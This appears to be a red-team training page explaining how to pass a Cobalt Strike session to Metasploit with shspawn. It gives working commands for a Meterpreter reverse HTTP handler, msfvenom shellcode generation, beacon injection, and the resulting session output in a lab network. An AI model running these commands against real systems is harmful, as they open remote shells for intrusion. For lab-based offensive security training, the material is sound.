> For the complete documentation index, see [llms.txt](https://yamortsa.gitbook.io/rto/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yamortsa.gitbook.io/rto/session-passing/spawn-and-inject.md).

# Spawn & Inject

Cobalt Strike has two further generic injection commands that can be utilised for the purpose of session passing: `shinject` and `shspawn`. Both allow you to inject an arbitrary shellcode blob - shinject can inject into an existing process, and shspawn will spawn a new process.

First, change the multi handler to use a stageless x64 Meterpreter payload.

```
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
msf6 exploit(multi/handler) > exploit

[*] Started HTTP reverse handler on http://10.10.5.50:8080
```

\\

Next, generate the associated payload using `msfvenom` inside WSL, and save the output to your `Payloads` directory.

```
ubuntu@DESKTOP-3BSK7NO ~> msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.5.50 LPORT=8080 -f raw -o /mnt/c/Payloads/msf_http_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201820 bytes
Saved as: /mnt/c/Payloads/msf_http_x64.bin
```

\\

Finally, use shspawn to spawn a process and inject it.

```
beacon> shspawn x64 C:\Payloads\msf_http_x64.bin
```

```
[*] http://10.10.5.50:8080 handling request from 10.10.122.254; (UUID: 64tqy4zf) Redirecting stageless connection from /jeqN5SIPwEzAGcEbowwz7Q-hb8QsIP with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36'
[*] http://10.10.5.50:8080 handling request from 10.10.122.254; (UUID: 64tqy4zf) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (10.10.5.50:8080 -> 127.0.0.1) at 2022-09-05 13:04:53 +0000
```